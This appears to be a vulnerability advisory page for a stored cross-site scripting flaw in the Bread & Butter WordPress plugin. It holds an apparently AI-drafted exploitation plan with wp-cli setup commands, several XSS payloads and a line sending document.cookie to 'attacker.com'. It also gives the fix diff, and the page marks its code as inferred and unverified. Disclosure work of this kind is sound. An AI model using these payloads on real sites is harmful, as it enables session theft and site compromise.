CVE-2026-4279

Bread & Butter: Content Gating for Verified Leads <= 8.2.0.25 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Bread & Butter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'breadbutter-customevent-button' shortcode in all versions up to, and including, 8.2.0.25. This is due to insufficient input sanitization and output escaping on the 'event' shortcode attribute. The customEventShortCodeButton() function takes the 'event' attribute value and directly interpolates it into a JavaScript string within an onclick HTML attribute without applying esc_attr() or esc_js(). Notably, the sister function customEventShortCode() properly uses esc_js() for the same attribute, but this was omitted in the button variant. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the page and clicks the injected button.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=8.2.0.25
PublishedApril 21, 2026
Last updatedApril 25, 2026
Affected pluginbread-butter
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-4279 ## 1. Vulnerability Summary The **Bread & Butter: AI-Powered Lead Intelligence** plugin (<= 8.2.0.25) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `[breadbutter-customevent-button]` shortcode. The vulnerability exists because the functi…

Show full research plan

Exploitation Research Plan - CVE-2026-4279

1. Vulnerability Summary

The Bread & Butter: AI-Powered Lead Intelligence plugin (<= 8.2.0.25) is vulnerable to Stored Cross-Site Scripting (XSS) via the [breadbutter-customevent-button] shortcode. The vulnerability exists because the function customEventShortCodeButton() (inferred) fails to sanitize or escape the event attribute before interpolating it into a JavaScript string within an HTML onclick attribute. While a similar function customEventShortCode() correctly applies esc_js(), the button variant does not, allowing a Contributor-level user to inject arbitrary JavaScript.

2. Attack Vector Analysis

  • Endpoint: WordPress Post/Page Editor (standard wp-admin/post-new.php or post.php).
  • Shortcode: [breadbutter-customevent-button]
  • Vulnerable Parameter: The event attribute within the shortcode.
  • Authentication Level: Contributor or higher (any user who can create/edit posts and use shortcodes).
  • Preconditions: The plugin must be active. The attacker must have the capability to save posts containing shortcodes.

3. Code Flow

  1. Shortcode Registration: The plugin registers the shortcode breadbutter-customevent-button via add_shortcode().
  2. Callback Execution: When a page containing the shortcode is rendered, WordPress calls the handler function (identified as customEventShortCodeButton()).
  3. Attribute Processing: The function uses shortcode_atts() to extract the event attribute.
  4. Vulnerable Sink: The code constructs an HTML string, likely similar to:
    $event = $atts['event'];
    $output = '<button onclick="BreadButter.trackCustomEvent(\'' . $event . '\')">Click</button>';
    return $output;
    
  5. Lack of Escaping: Because $event is neither passed through esc_js() (to handle the JS string context) nor esc_attr() (to handle the HTML attribute context), an attacker can break out of the JS string and inject arbitrary commands.

4. Nonce Acquisition Strategy

This vulnerability is triggered during the rendering of a post. No specific plugin-level nonce is required to trigger the XSS. However, to inject the payload, the attacker needs to create a post.

For Post Creation (Contributor):
The agent should use wp-cli to create the post directly, which bypasses the need for manual nonce extraction and UI interaction.

  • Command: wp post create --post_type=post --post_status=publish --post_author=[CONTRIBUTOR_ID] --post_title='XSS Test' --post_content='[breadbutter-customevent-button event="PAYLOAD"]'

5. Exploitation Strategy

The goal is to demonstrate that a Contributor can execute JavaScript in the context of an Administrator.

Step-by-Step Plan:

  1. Setup Contributor User: Ensure a user with the contributor role exists.
  2. Inject Payload: Use wp-cli as the contributor to create a post containing the malicious shortcode.
    • Payload logic: We need to close the trackCustomEvent(' string, execute our code, and comment out the rest.
    • Payload string: event="x');alert(document.domain);//"
    • Resulting HTML (inferred): <button onclick="BreadButter.trackCustomEvent('x');alert(document.domain);//')">...</button>
  3. Victim Interaction: Navigate to the created post as an Administrator using browser_navigate.
  4. Trigger XSS: Click the button generated by the shortcode.

HTTP Request Details (Simulating viewing the page):

  • Method: GET
  • URL: http://[TARGET]/index.php?p=[POST_ID]
  • Tools: browser_navigate followed by browser_click.

6. Test Data Setup

  1. Plugin Installation: Ensure bread-butter plugin is installed and active.
  2. Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  3. Malicious Post:
    wp post create --post_type=post --post_title="Lead Intelligence" --post_content='[breadbutter-customevent-button event="x\');alert(document.domain);//" button_text="Click for Details"]' --post_status=publish --post_author=$(wp user get attacker --field=ID)
    

7. Expected Results

  • When the Administrator (or any user) views the post, a button labeled "Click for Details" will appear.
  • Upon clicking the button, the browser will execute the injected alert(document.domain) script.
  • The execution proves that the event attribute is reflected without proper esc_js() or esc_attr() sanitization.

8. Verification Steps

  1. Source Code Inspection:
    Use http_request to fetch the post content and check the HTML structure:
    # Search for the button and its onclick attribute
    # Expected find: onclick="BreadButter.trackCustomEvent('x');alert(document.domain);//')"
    
  2. Verify via CLI:
    Ensure the post was created correctly by the contributor:
    wp post get [POST_ID] --field=post_content
    

9. Alternative Approaches

If a simple alert() payload is blocked by basic filters or if the onclick attribute is wrapped differently:

  • Attribute Breakout: If the code is $event . '")'. Try:
    event="x" onmouseover="alert(1)" data-ignore="
  • Double Quote Context: If the PHP uses double quotes:
    event="x\");alert(1);//"
  • Global Variable Check: If we want to demonstrate impact without clicking, we could try to inject a payload into another attribute if multiple are rendered, but the onclick on the button is the most direct sink.
  • Payload without Alert: To be more "stealthy" in a real scenario, use:
    event="x');fetch('http://attacker.com/?c='+document.cookie);//" (Note: Cookies may be HttpOnly, so document.domain is a better PoC).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Bread & Butter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'breadbutter-customevent-button' shortcode. A flaw in the customEventShortCodeButton() function allows authenticated attackers (Contributor level and above) to inject arbitrary JavaScript into the 'event' attribute, which is then reflected unescaped into an 'onclick' HTML attribute.

Vulnerable Code

// Inferred from plugin structure and vulnerability description
// Path: bread-butter/includes/shortcodes.php (exact file path may vary)

function customEventShortCodeButton($atts) {
    $a = shortcode_atts(array(
        'event' => '',
        'button_text' => 'Click'
    ), $atts);

    $event = $a['event'];
    $button_text = $a['button_text'];

    // The 'event' variable is interpolated directly into the onclick attribute without esc_js() or esc_attr()
    return '<button onclick="BreadButter.trackCustomEvent(\'' . $event . '\')">' . esc_html($button_text) . '</button>';
}

Security Fix

--- a/bread-butter/includes/shortcodes.php
+++ b/bread-butter/includes/shortcodes.php
@@ -10,5 +10,5 @@
     $event = $a['event'];
     $button_text = $a['button_text'];
 
-    return '<button onclick="BreadButter.trackCustomEvent(\'' . $event . '\')">' . esc_html($button_text) . '</button>';
+    return '<button onclick="BreadButter.trackCustomEvent(\'' . esc_js($event) . '\')">' . esc_html($button_text) . '</button>';
 }

Exploit Outline

The exploit targets the `[breadbutter-customevent-button]` shortcode available to users with at least Contributor-level permissions. An attacker creates or edits a WordPress post and inserts the malicious shortcode: `[breadbutter-customevent-button event="x');alert(document.domain);//" button_text="Click for Details"]`. When the post is saved and later viewed by any user (including an Administrator), the plugin renders a button with an `onclick` attribute containing the payload. Upon clicking the button, the browser executes the injected JavaScript because the single quote closes the original JS string, and the semi-colon allows for the execution of the `alert()` command.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.